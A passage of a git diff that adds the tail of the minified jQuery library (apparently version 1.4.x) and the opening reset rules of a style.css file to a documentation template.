+b&&d.push(a);return d}});var Fa=/ jQuery\d+="(?:\d+|null)"/g,V=/^\s+/,Ga=/(<([\w:]+)[^>]*?)\/>/g,eb=/^(?:area|br|col|embed|hr|img|input|link|meta|param)$/i,Ha=/<([\w:]+)/,fb=/<tbody/i,gb=/<|&\w+;/,sa=/checked\s*(?:[^=]|=\s*.checked.)/i,Ia=function(a,b,d){return eb.test(d)?a:b+"></"+d+">"},F={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],
+col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]};F.optgroup=F.option;F.tbody=F.tfoot=F.colgroup=F.caption=F.thead;F.th=F.td;if(!c.support.htmlSerialize)F._default=[1,"div<div>","</div>"];c.fn.extend({text:function(a){if(c.isFunction(a))return this.each(function(b){var d=c(this);d.text(a.call(this,b,d.text()))});if(typeof a!=="object"&&a!==v)return this.empty().append((this[0]&&this[0].ownerDocument||r).createTextNode(a));return c.getText(this)},
+wrapAll:function(a){if(c.isFunction(a))return this.each(function(d){c(this).wrapAll(a.call(this,d))});if(this[0]){var b=c(a,this[0].ownerDocument).eq(0).clone(true);this[0].parentNode&&b.insertBefore(this[0]);b.map(function(){for(var d=this;d.firstChild&&d.firstChild.nodeType===1;)d=d.firstChild;return d}).append(this)}return this},wrapInner:function(a){if(c.isFunction(a))return this.each(function(b){c(this).wrapInner(a.call(this,b))});return this.each(function(){var b=c(this),d=b.contents();d.length?
+d.wrapAll(a):b.append(a)})},wrap:function(a){return this.each(function(){c(this).wrapAll(a)})},unwrap:function(){return this.parent().each(function(){c.nodeName(this,"body")||c(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,true,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,
+false,function(b){this.parentNode.insertBefore(b,this)});else if(arguments.length){var a=c(arguments[0]);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,false,function(b){this.parentNode.insertBefore(b,this.nextSibling)});else if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,c(arguments[0]).toArray());return a}},clone:function(a){var b=this.map(function(){if(!c.support.noCloneEvent&&
+!c.isXMLDoc(this)){var d=this.outerHTML,f=this.ownerDocument;if(!d){d=f.createElement("div");d.appendChild(this.cloneNode(true));d=d.innerHTML}return c.clean([d.replace(Fa,"").replace(V,"")],f)[0]}else return this.cloneNode(true)});if(a===true){qa(this,b);qa(this.find("*"),b.find("*"))}return b},html:function(a){if(a===v)return this[0]&&this[0].nodeType===1?this[0].innerHTML.replace(Fa,""):null;else if(typeof a==="string"&&!/<script/i.test(a)&&(c.support.leadingWhitespace||!V.test(a))&&!F[(Ha.exec(a)||
+["",""])[1].toLowerCase()]){a=a.replace(Ga,Ia);try{for(var b=0,d=this.length;b<d;b++)if(this[b].nodeType===1){c.cleanData(this[b].getElementsByTagName("*"));this[b].innerHTML=a}}catch(f){this.empty().append(a)}}else c.isFunction(a)?this.each(function(e){var i=c(this),j=i.html();i.empty().append(function(){return a.call(this,e,j)})}):this.empty().append(a);return this},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(c.isFunction(a))return this.each(function(b){var d=c(this),f=d.html();d.replaceWith(a.call(this,
+b,f))});else a=c(a).detach();return this.each(function(){var b=this.nextSibling,d=this.parentNode;c(this).remove();b?c(b).before(a):c(d).append(a)})}else return this.pushStack(c(c.isFunction(a)?a():a),"replaceWith",a)},detach:function(a){return this.remove(a,true)},domManip:function(a,b,d){function f(s){return c.nodeName(s,"table")?s.getElementsByTagName("tbody")[0]||s.appendChild(s.ownerDocument.createElement("tbody")):s}var e,i,j=a[0],n=[];if(!c.support.checkClone&&arguments.length===3&&typeof j===
+"string"&&sa.test(j))return this.each(function(){c(this).domManip(a,b,d,true)});if(c.isFunction(j))return this.each(function(s){var x=c(this);a[0]=j.call(this,s,b?x.html():v);x.domManip(a,b,d)});if(this[0]){e=a[0]&&a[0].parentNode&&a[0].parentNode.nodeType===11?{fragment:a[0].parentNode}:ra(a,this,n);if(i=e.fragment.firstChild){b=b&&c.nodeName(i,"tr");for(var o=0,m=this.length;o<m;o++)d.call(b?f(this[o],i):this[o],e.cacheable||this.length>1||o>0?e.fragment.cloneNode(true):e.fragment)}n&&c.each(n,
+Ma)}return this}});c.fragments={};c.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){c.fn[a]=function(d){var f=[];d=c(d);for(var e=0,i=d.length;e<i;e++){var j=(e>0?this.clone(true):this).get();c.fn[b].apply(c(d[e]),j);f=f.concat(j)}return this.pushStack(f,a,d.selector)}});c.each({remove:function(a,b){if(!a||c.filter(a,[this]).length){if(!b&&this.nodeType===1){c.cleanData(this.getElementsByTagName("*"));c.cleanData([this])}this.parentNode&&
+this.parentNode.removeChild(this)}},empty:function(){for(this.nodeType===1&&c.cleanData(this.getElementsByTagName("*"));this.firstChild;)this.removeChild(this.firstChild)}},function(a,b){c.fn[a]=function(){return this.each(b,arguments)}});c.extend({clean:function(a,b,d,f){b=b||r;if(typeof b.createElement==="undefined")b=b.ownerDocument||b[0]&&b[0].ownerDocument||r;var e=[];c.each(a,function(i,j){if(typeof j==="number")j+="";if(j){if(typeof j==="string"&&!gb.test(j))j=b.createTextNode(j);else if(typeof j===
+"string"){j=j.replace(Ga,Ia);var n=(Ha.exec(j)||["",""])[1].toLowerCase(),o=F[n]||F._default,m=o[0];i=b.createElement("div");for(i.innerHTML=o[1]+j+o[2];m--;)i=i.lastChild;if(!c.support.tbody){m=fb.test(j);n=n==="table"&&!m?i.firstChild&&i.firstChild.childNodes:o[1]==="<table>"&&!m?i.childNodes:[];for(o=n.length-1;o>=0;--o)c.nodeName(n[o],"tbody")&&!n[o].childNodes.length&&n[o].parentNode.removeChild(n[o])}!c.support.leadingWhitespace&&V.test(j)&&i.insertBefore(b.createTextNode(V.exec(j)[0]),i.firstChild);
+j=c.makeArray(i.childNodes)}if(j.nodeType)e.push(j);else e=c.merge(e,j)}});if(d)for(a=0;e[a];a++)if(f&&c.nodeName(e[a],"script")&&(!e[a].type||e[a].type.toLowerCase()==="text/javascript"))f.push(e[a].parentNode?e[a].parentNode.removeChild(e[a]):e[a]);else{e[a].nodeType===1&&e.splice.apply(e,[a+1,0].concat(c.makeArray(e[a].getElementsByTagName("script"))));d.appendChild(e[a])}return e},cleanData:function(a){for(var b=0,d;(d=a[b])!=null;b++){c.event.remove(d);c.removeData(d)}}});var hb=/z-?index|font-?weight|opacity|zoom|line-?height/i,
+Ja=/alpha\([^)]*\)/,Ka=/opacity=([^)]*)/,ga=/float/i,ha=/-([a-z])/ig,ib=/([A-Z])/g,jb=/^-?\d+(?:px)?$/i,kb=/^-?\d/,lb={position:"absolute",visibility:"hidden",display:"block"},mb=["Left","Right"],nb=["Top","Bottom"],ob=r.defaultView&&r.defaultView.getComputedStyle,La=c.support.cssFloat?"cssFloat":"styleFloat",ia=function(a,b){return b.toUpperCase()};c.fn.css=function(a,b){return X(this,a,b,true,function(d,f,e){if(e===v)return c.curCSS(d,f);if(typeof e==="number"&&!hb.test(f))e+="px";c.style(d,f,e)})};
+c.extend({style:function(a,b,d){if(!a||a.nodeType===3||a.nodeType===8)return v;if((b==="width"||b==="height")&&parseFloat(d)<0)d=v;var f=a.style||a,e=d!==v;if(!c.support.opacity&&b==="opacity"){if(e){f.zoom=1;b=parseInt(d,10)+""==="NaN"?"":"alpha(opacity="+d*100+")";a=f.filter||c.curCSS(a,"filter")||"";f.filter=Ja.test(a)?a.replace(Ja,b):b}return f.filter&&f.filter.indexOf("opacity=")>=0?parseFloat(Ka.exec(f.filter)[1])/100+"":""}if(ga.test(b))b=La;b=b.replace(ha,ia);if(e)f[b]=d;return f[b]},css:function(a,
+b,d,f){if(b==="width"||b==="height"){var e,i=b==="width"?mb:nb;function j(){e=b==="width"?a.offsetWidth:a.offsetHeight;f!=="border"&&c.each(i,function(){f||(e-=parseFloat(c.curCSS(a,"padding"+this,true))||0);if(f==="margin")e+=parseFloat(c.curCSS(a,"margin"+this,true))||0;else e-=parseFloat(c.curCSS(a,"border"+this+"Width",true))||0})}a.offsetWidth!==0?j():c.swap(a,lb,j);return Math.max(0,Math.round(e))}return c.curCSS(a,b,d)},curCSS:function(a,b,d){var f,e=a.style;if(!c.support.opacity&&b==="opacity"&&
+a.currentStyle){f=Ka.test(a.currentStyle.filter||"")?parseFloat(RegExp.$1)/100+"":"";return f===""?"1":f}if(ga.test(b))b=La;if(!d&&e&&e[b])f=e[b];else if(ob){if(ga.test(b))b="float";b=b.replace(ib,"-$1").toLowerCase();e=a.ownerDocument.defaultView;if(!e)return null;if(a=e.getComputedStyle(a,null))f=a.getPropertyValue(b);if(b==="opacity"&&f==="")f="1"}else if(a.currentStyle){d=b.replace(ha,ia);f=a.currentStyle[b]||a.currentStyle[d];if(!jb.test(f)&&kb.test(f)){b=e.left;var i=a.runtimeStyle.left;a.runtimeStyle.left=
+a.currentStyle.left;e.left=d==="fontSize"?"1em":f||0;f=e.pixelLeft+"px";e.left=b;a.runtimeStyle.left=i}}return f},swap:function(a,b,d){var f={};for(var e in b){f[e]=a.style[e];a.style[e]=b[e]}d.call(a);for(e in b)a.style[e]=f[e]}});if(c.expr&&c.expr.filters){c.expr.filters.hidden=function(a){var b=a.offsetWidth,d=a.offsetHeight,f=a.nodeName.toLowerCase()==="tr";return b===0&&d===0&&!f?true:b>0&&d>0&&!f?false:c.curCSS(a,"display")==="none"};c.expr.filters.visible=function(a){return!c.expr.filters.hidden(a)}}var pb=
+J(),qb=/<script(.|\s)*?\/script>/gi,rb=/select|textarea/i,sb=/color|date|datetime|email|hidden|month|number|password|range|search|tel|text|time|url|week/i,N=/=\?(&|$)/,ja=/\?/,tb=/(\?|&)_=.*?(&|$)/,ub=/^(\w+:)?\/\/([^\/?#]+)/,vb=/%20/g;c.fn.extend({_load:c.fn.load,load:function(a,b,d){if(typeof a!=="string")return this._load(a);else if(!this.length)return this;var f=a.indexOf(" ");if(f>=0){var e=a.slice(f,a.length);a=a.slice(0,f)}f="GET";if(b)if(c.isFunction(b)){d=b;b=null}else if(typeof b==="object"){b=
+c.param(b,c.ajaxSettings.traditional);f="POST"}var i=this;c.ajax({url:a,type:f,dataType:"html",data:b,complete:function(j,n){if(n==="success"||n==="notmodified")i.html(e?c("<div />").append(j.responseText.replace(qb,"")).find(e):j.responseText);d&&i.each(d,[j.responseText,n,j])}});return this},serialize:function(){return c.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?c.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&
+(this.checked||rb.test(this.nodeName)||sb.test(this.type))}).map(function(a,b){a=c(this).val();return a==null?null:c.isArray(a)?c.map(a,function(d){return{name:b.name,value:d}}):{name:b.name,value:a}}).get()}});c.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){c.fn[b]=function(d){return this.bind(b,d)}});c.extend({get:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b=null}return c.ajax({type:"GET",url:a,data:b,success:d,dataType:f})},getScript:function(a,
+b){return c.get(a,null,b,"script")},getJSON:function(a,b,d){return c.get(a,b,d,"json")},post:function(a,b,d,f){if(c.isFunction(b)){f=f||d;d=b;b={}}return c.ajax({type:"POST",url:a,data:b,success:d,dataType:f})},ajaxSetup:function(a){c.extend(c.ajaxSettings,a)},ajaxSettings:{url:location.href,global:true,type:"GET",contentType:"application/x-www-form-urlencoded",processData:true,async:true,xhr:z.XMLHttpRequest&&(z.location.protocol!=="file:"||!z.ActiveXObject)?function(){return new z.XMLHttpRequest}:
+function(){try{return new z.ActiveXObject("Microsoft.XMLHTTP")}catch(a){}},accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},etag:{},ajax:function(a){function b(){e.success&&e.success.call(o,n,j,w);e.global&&f("ajaxSuccess",[w,e])}function d(){e.complete&&e.complete.call(o,w,j);e.global&&f("ajaxComplete",[w,e]);e.global&&!--c.active&&c.event.trigger("ajaxStop")}
+function f(q,p){(e.context?c(e.context):c.event).trigger(q,p)}var e=c.extend(true,{},c.ajaxSettings,a),i,j,n,o=a&&a.context||e,m=e.type.toUpperCase();if(e.data&&e.processData&&typeof e.data!=="string")e.data=c.param(e.data,e.traditional);if(e.dataType==="jsonp"){if(m==="GET")N.test(e.url)||(e.url+=(ja.test(e.url)?"&":"?")+(e.jsonp||"callback")+"=?");else if(!e.data||!N.test(e.data))e.data=(e.data?e.data+"&":"")+(e.jsonp||"callback")+"=?";e.dataType="json"}if(e.dataType==="json"&&(e.data&&N.test(e.data)||
+N.test(e.url))){i=e.jsonpCallback||"jsonp"+pb++;if(e.data)e.data=(e.data+"").replace(N,"="+i+"$1");e.url=e.url.replace(N,"="+i+"$1");e.dataType="script";z[i]=z[i]||function(q){n=q;b();d();z[i]=v;try{delete z[i]}catch(p){}A&&A.removeChild(B)}}if(e.dataType==="script"&&e.cache===null)e.cache=false;if(e.cache===false&&m==="GET"){var s=J(),x=e.url.replace(tb,"$1_="+s+"$2");e.url=x+(x===e.url?(ja.test(e.url)?"&":"?")+"_="+s:"")}if(e.data&&m==="GET")e.url+=(ja.test(e.url)?"&":"?")+e.data;e.global&&!c.active++&&
+c.event.trigger("ajaxStart");s=(s=ub.exec(e.url))&&(s[1]&&s[1]!==location.protocol||s[2]!==location.host);if(e.dataType==="script"&&m==="GET"&&s){var A=r.getElementsByTagName("head")[0]||r.documentElement,B=r.createElement("script");B.src=e.url;if(e.scriptCharset)B.charset=e.scriptCharset;if(!i){var C=false;B.onload=B.onreadystatechange=function(){if(!C&&(!this.readyState||this.readyState==="loaded"||this.readyState==="complete")){C=true;b();d();B.onload=B.onreadystatechange=null;A&&B.parentNode&&
+A.removeChild(B)}}}A.insertBefore(B,A.firstChild);return v}var E=false,w=e.xhr();if(w){e.username?w.open(m,e.url,e.async,e.username,e.password):w.open(m,e.url,e.async);try{if(e.data||a&&a.contentType)w.setRequestHeader("Content-Type",e.contentType);if(e.ifModified){c.lastModified[e.url]&&w.setRequestHeader("If-Modified-Since",c.lastModified[e.url]);c.etag[e.url]&&w.setRequestHeader("If-None-Match",c.etag[e.url])}s||w.setRequestHeader("X-Requested-With","XMLHttpRequest");w.setRequestHeader("Accept",
+e.dataType&&e.accepts[e.dataType]?e.accepts[e.dataType]+", */*":e.accepts._default)}catch(fa){}if(e.beforeSend&&e.beforeSend.call(o,w,e)===false){e.global&&!--c.active&&c.event.trigger("ajaxStop");w.abort();return false}e.global&&f("ajaxSend",[w,e]);var g=w.onreadystatechange=function(q){if(!w||w.readyState===0||q==="abort"){E||d();E=true;if(w)w.onreadystatechange=c.noop}else if(!E&&w&&(w.readyState===4||q==="timeout")){E=true;w.onreadystatechange=c.noop;j=q==="timeout"?"timeout":!c.httpSuccess(w)?
+"error":e.ifModified&&c.httpNotModified(w,e.url)?"notmodified":"success";var p;if(j==="success")try{n=c.httpData(w,e.dataType,e)}catch(u){j="parsererror";p=u}if(j==="success"||j==="notmodified")i||b();else c.handleError(e,w,j,p);d();q==="timeout"&&w.abort();if(e.async)w=null}};try{var h=w.abort;w.abort=function(){w&&h.call(w);g("abort")}}catch(k){}e.async&&e.timeout>0&&setTimeout(function(){w&&!E&&g("timeout")},e.timeout);try{w.send(m==="POST"||m==="PUT"||m==="DELETE"?e.data:null)}catch(l){c.handleError(e,
+w,null,l);d()}e.async||g();return w}},handleError:function(a,b,d,f){if(a.error)a.error.call(a.context||a,b,d,f);if(a.global)(a.context?c(a.context):c.event).trigger("ajaxError",[b,a,f])},active:0,httpSuccess:function(a){try{return!a.status&&location.protocol==="file:"||a.status>=200&&a.status<300||a.status===304||a.status===1223||a.status===0}catch(b){}return false},httpNotModified:function(a,b){var d=a.getResponseHeader("Last-Modified"),f=a.getResponseHeader("Etag");if(d)c.lastModified[b]=d;if(f)c.etag[b]=
+f;return a.status===304||a.status===0},httpData:function(a,b,d){var f=a.getResponseHeader("content-type")||"",e=b==="xml"||!b&&f.indexOf("xml")>=0;a=e?a.responseXML:a.responseText;e&&a.documentElement.nodeName==="parsererror"&&c.error("parsererror");if(d&&d.dataFilter)a=d.dataFilter(a,b);if(typeof a==="string")if(b==="json"||!b&&f.indexOf("json")>=0)a=c.parseJSON(a);else if(b==="script"||!b&&f.indexOf("javascript")>=0)c.globalEval(a);return a},param:function(a,b){function d(j,n){if(c.isArray(n))c.each(n,
+function(o,m){b?f(j,m):d(j+"["+(typeof m==="object"||c.isArray(m)?o:"")+"]",m)});else!b&&n!=null&&typeof n==="object"?c.each(n,function(o,m){d(j+"["+o+"]",m)}):f(j,n)}function f(j,n){n=c.isFunction(n)?n():n;e[e.length]=encodeURIComponent(j)+"="+encodeURIComponent(n)}var e=[];if(b===v)b=c.ajaxSettings.traditional;if(c.isArray(a)||a.jquery)c.each(a,function(){f(this.name,this.value)});else for(var i in a)d(i,a[i]);return e.join("&").replace(vb,"+")}});var ka={},wb=/toggle|show|hide/,xb=/^([+-]=)?([\d+-.]+)(.*)$/,
+W,ta=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]];c.fn.extend({show:function(a,b){if(a||a===0)return this.animate(K("show",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");this[a].style.display=d||"";if(c.css(this[a],"display")==="none"){d=this[a].nodeName;var f;if(ka[d])f=ka[d];else{var e=c("<"+d+" />").appendTo("body");f=e.css("display");if(f==="none")f="block";e.remove();
+ka[d]=f}c.data(this[a],"olddisplay",f)}}a=0;for(b=this.length;a<b;a++)this[a].style.display=c.data(this[a],"olddisplay")||"";return this}},hide:function(a,b){if(a||a===0)return this.animate(K("hide",3),a,b);else{a=0;for(b=this.length;a<b;a++){var d=c.data(this[a],"olddisplay");!d&&d!=="none"&&c.data(this[a],"olddisplay",c.css(this[a],"display"))}a=0;for(b=this.length;a<b;a++)this[a].style.display="none";return this}},_toggle:c.fn.toggle,toggle:function(a,b){var d=typeof a==="boolean";if(c.isFunction(a)&&
+c.isFunction(b))this._toggle.apply(this,arguments);else a==null||d?this.each(function(){var f=d?a:c(this).is(":hidden");c(this)[f?"show":"hide"]()}):this.animate(K("toggle",3),a,b);return this},fadeTo:function(a,b,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,d)},animate:function(a,b,d,f){var e=c.speed(b,d,f);if(c.isEmptyObject(a))return this.each(e.complete);return this[e.queue===false?"each":"queue"](function(){var i=c.extend({},e),j,n=this.nodeType===1&&c(this).is(":hidden"),
+o=this;for(j in a){var m=j.replace(ha,ia);if(j!==m){a[m]=a[j];delete a[j];j=m}if(a[j]==="hide"&&n||a[j]==="show"&&!n)return i.complete.call(this);if((j==="height"||j==="width")&&this.style){i.display=c.css(this,"display");i.overflow=this.style.overflow}if(c.isArray(a[j])){(i.specialEasing=i.specialEasing||{})[j]=a[j][1];a[j]=a[j][0]}}if(i.overflow!=null)this.style.overflow="hidden";i.curAnim=c.extend({},a);c.each(a,function(s,x){var A=new c.fx(o,i,s);if(wb.test(x))A[x==="toggle"?n?"show":"hide":x](a);
+else{var B=xb.exec(x),C=A.cur(true)||0;if(B){x=parseFloat(B[2]);var E=B[3]||"px";if(E!=="px"){o.style[s]=(x||1)+E;C=(x||1)/A.cur(true)*C;o.style[s]=C+E}if(B[1])x=(B[1]==="-="?-1:1)*x+C;A.custom(C,x,E)}else A.custom(C,x,"")}});return true})},stop:function(a,b){var d=c.timers;a&&this.queue([]);this.each(function(){for(var f=d.length-1;f>=0;f--)if(d[f].elem===this){b&&d[f](true);d.splice(f,1)}});b||this.dequeue();return this}});c.each({slideDown:K("show",1),slideUp:K("hide",1),slideToggle:K("toggle",
+1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"}},function(a,b){c.fn[a]=function(d,f){return this.animate(b,d,f)}});c.extend({speed:function(a,b,d){var f=a&&typeof a==="object"?a:{complete:d||!d&&b||c.isFunction(a)&&a,duration:a,easing:d&&b||b&&!c.isFunction(b)&&b};f.duration=c.fx.off?0:typeof f.duration==="number"?f.duration:c.fx.speeds[f.duration]||c.fx.speeds._default;f.old=f.complete;f.complete=function(){f.queue!==false&&c(this).dequeue();c.isFunction(f.old)&&f.old.call(this)};return f},easing:{linear:function(a,
+b,d,f){return d+f*a},swing:function(a,b,d,f){return(-Math.cos(a*Math.PI)/2+0.5)*f+d}},timers:[],fx:function(a,b,d){this.options=b;this.elem=a;this.prop=d;if(!b.orig)b.orig={}}});c.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this);(c.fx.step[this.prop]||c.fx.step._default)(this);if((this.prop==="height"||this.prop==="width")&&this.elem.style)this.elem.style.display="block"},cur:function(a){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==
+null))return this.elem[this.prop];return(a=parseFloat(c.css(this.elem,this.prop,a)))&&a>-10000?a:parseFloat(c.curCSS(this.elem,this.prop))||0},custom:function(a,b,d){function f(i){return e.step(i)}this.startTime=J();this.start=a;this.end=b;this.unit=d||this.unit||"px";this.now=this.start;this.pos=this.state=0;var e=this;f.elem=this.elem;if(f()&&c.timers.push(f)&&!W)W=setInterval(c.fx.tick,13)},show:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.show=true;this.custom(this.prop===
+"width"||this.prop==="height"?1:0,this.cur());c(this.elem).show()},hide:function(){this.options.orig[this.prop]=c.style(this.elem,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(a){var b=J(),d=true;if(a||b>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;for(var f in this.options.curAnim)if(this.options.curAnim[f]!==true)d=false;if(d){if(this.options.display!=null){this.elem.style.overflow=
+this.options.overflow;a=c.data(this.elem,"olddisplay");this.elem.style.display=a?a:this.options.display;if(c.css(this.elem,"display")==="none")this.elem.style.display="block"}this.options.hide&&c(this.elem).hide();if(this.options.hide||this.options.show)for(var e in this.options.curAnim)c.style(this.elem,e,this.options.orig[e]);this.options.complete.call(this.elem)}return false}else{e=b-this.startTime;this.state=e/this.options.duration;a=this.options.easing||(c.easing.swing?"swing":"linear");this.pos=
+c.easing[this.options.specialEasing&&this.options.specialEasing[this.prop]||a](this.state,e,0,1,this.options.duration);this.now=this.start+(this.end-this.start)*this.pos;this.update()}return true}};c.extend(c.fx,{tick:function(){for(var a=c.timers,b=0;b<a.length;b++)a[b]()||a.splice(b--,1);a.length||c.fx.stop()},stop:function(){clearInterval(W);W=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){c.style(a.elem,"opacity",a.now)},_default:function(a){if(a.elem.style&&a.elem.style[a.prop]!=
+null)a.elem.style[a.prop]=(a.prop==="width"||a.prop==="height"?Math.max(0,a.now):a.now)+a.unit;else a.elem[a.prop]=a.now}}});if(c.expr&&c.expr.filters)c.expr.filters.animated=function(a){return c.grep(c.timers,function(b){return a===b.elem}).length};c.fn.offset="getBoundingClientRect"in r.documentElement?function(a){var b=this[0];if(a)return this.each(function(e){c.offset.setOffset(this,a,e)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);var d=b.getBoundingClientRect(),
+f=b.ownerDocument;b=f.body;f=f.documentElement;return{top:d.top+(self.pageYOffset||c.support.boxModel&&f.scrollTop||b.scrollTop)-(f.clientTop||b.clientTop||0),left:d.left+(self.pageXOffset||c.support.boxModel&&f.scrollLeft||b.scrollLeft)-(f.clientLeft||b.clientLeft||0)}}:function(a){var b=this[0];if(a)return this.each(function(s){c.offset.setOffset(this,a,s)});if(!b||!b.ownerDocument)return null;if(b===b.ownerDocument.body)return c.offset.bodyOffset(b);c.offset.initialize();var d=b.offsetParent,f=
+b,e=b.ownerDocument,i,j=e.documentElement,n=e.body;f=(e=e.defaultView)?e.getComputedStyle(b,null):b.currentStyle;for(var o=b.offsetTop,m=b.offsetLeft;(b=b.parentNode)&&b!==n&&b!==j;){if(c.offset.supportsFixedPosition&&f.position==="fixed")break;i=e?e.getComputedStyle(b,null):b.currentStyle;o-=b.scrollTop;m-=b.scrollLeft;if(b===d){o+=b.offsetTop;m+=b.offsetLeft;if(c.offset.doesNotAddBorder&&!(c.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(b.nodeName))){o+=parseFloat(i.borderTopWidth)||
+0;m+=parseFloat(i.borderLeftWidth)||0}f=d;d=b.offsetParent}if(c.offset.subtractsBorderForOverflowNotVisible&&i.overflow!=="visible"){o+=parseFloat(i.borderTopWidth)||0;m+=parseFloat(i.borderLeftWidth)||0}f=i}if(f.position==="relative"||f.position==="static"){o+=n.offsetTop;m+=n.offsetLeft}if(c.offset.supportsFixedPosition&&f.position==="fixed"){o+=Math.max(j.scrollTop,n.scrollTop);m+=Math.max(j.scrollLeft,n.scrollLeft)}return{top:o,left:m}};c.offset={initialize:function(){var a=r.body,b=r.createElement("div"),
+d,f,e,i=parseFloat(c.curCSS(a,"marginTop",true))||0;c.extend(b.style,{position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"});b.innerHTML="<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>";a.insertBefore(b,a.firstChild);
+d=b.firstChild;f=d.firstChild;e=d.nextSibling.firstChild.firstChild;this.doesNotAddBorder=f.offsetTop!==5;this.doesAddBorderForTableAndCells=e.offsetTop===5;f.style.position="fixed";f.style.top="20px";this.supportsFixedPosition=f.offsetTop===20||f.offsetTop===15;f.style.position=f.style.top="";d.style.overflow="hidden";d.style.position="relative";this.subtractsBorderForOverflowNotVisible=f.offsetTop===-5;this.doesNotIncludeMarginInBodyOffset=a.offsetTop!==i;a.removeChild(b);c.offset.initialize=c.noop},
+bodyOffset:function(a){var b=a.offsetTop,d=a.offsetLeft;c.offset.initialize();if(c.offset.doesNotIncludeMarginInBodyOffset){b+=parseFloat(c.curCSS(a,"marginTop",true))||0;d+=parseFloat(c.curCSS(a,"marginLeft",true))||0}return{top:b,left:d}},setOffset:function(a,b,d){if(/static/.test(c.curCSS(a,"position")))a.style.position="relative";var f=c(a),e=f.offset(),i=parseInt(c.curCSS(a,"top",true),10)||0,j=parseInt(c.curCSS(a,"left",true),10)||0;if(c.isFunction(b))b=b.call(a,d,e);d={top:b.top-e.top+i,left:b.left-
+e.left+j};"using"in b?b.using.call(a,d):f.css(d)}};c.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),d=this.offset(),f=/^body|html$/i.test(b[0].nodeName)?{top:0,left:0}:b.offset();d.top-=parseFloat(c.curCSS(a,"marginTop",true))||0;d.left-=parseFloat(c.curCSS(a,"marginLeft",true))||0;f.top+=parseFloat(c.curCSS(b[0],"borderTopWidth",true))||0;f.left+=parseFloat(c.curCSS(b[0],"borderLeftWidth",true))||0;return{top:d.top-f.top,left:d.left-f.left}},offsetParent:function(){return this.map(function(){for(var a=
+this.offsetParent||r.body;a&&!/^body|html$/i.test(a.nodeName)&&c.css(a,"position")==="static";)a=a.offsetParent;return a})}});c.each(["Left","Top"],function(a,b){var d="scroll"+b;c.fn[d]=function(f){var e=this[0],i;if(!e)return null;if(f!==v)return this.each(function(){if(i=ua(this))i.scrollTo(!a?f:c(i).scrollLeft(),a?f:c(i).scrollTop());else this[d]=f});else return(i=ua(e))?"pageXOffset"in i?i[a?"pageYOffset":"pageXOffset"]:c.support.boxModel&&i.document.documentElement[d]||i.document.body[d]:e[d]}});
+c.each(["Height","Width"],function(a,b){var d=b.toLowerCase();c.fn["inner"+b]=function(){return this[0]?c.css(this[0],d,false,"padding"):null};c.fn["outer"+b]=function(f){return this[0]?c.css(this[0],d,false,f?"margin":"border"):null};c.fn[d]=function(f){var e=this[0];if(!e)return f==null?null:this;if(c.isFunction(f))return this.each(function(i){var j=c(this);j[d](f.call(this,i,j[d]()))});return"scrollTo"in e&&e.document?e.document.compatMode==="CSS1Compat"&&e.document.documentElement["client"+b]||
+e.document.body["client"+b]:e.nodeType===9?Math.max(e.documentElement["client"+b],e.body["scroll"+b],e.documentElement["scroll"+b],e.body["offset"+b],e.documentElement["offset"+b]):f===v?c.css(e,d):this.css(d,typeof f==="string"?f:f+"px")}});z.jQuery=z.$=c})(window);
diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css
new file mode 100755
index 0000000..1c78118
--- /dev/null
+++ b/doc/src/template/style/style.css
@@ -0,0 +1,959 @@
+@media screen
+{
+    html
+    {
+        color: #000000;
+        background: #FFFFFF;
+    }
+    body, div, dl, dt, dd, ul, ol, li, h1, h2, h3, h4, h5, h6, pre, code, form, fieldset, legend, input, button, textarea, p, blockquote, th, td
+    {
+        margin: 0;
+        padding: 0;
+    }
+    table
+    {
+        border-collapse: collapse;
+        border-spacing: 0;
+    }
+    fieldset, img
+    {
+        border: 0;
+    }
+    address, caption, cite, code, dfn, em, strong, th, var, optgroup
+    {
+        font-style: inherit;
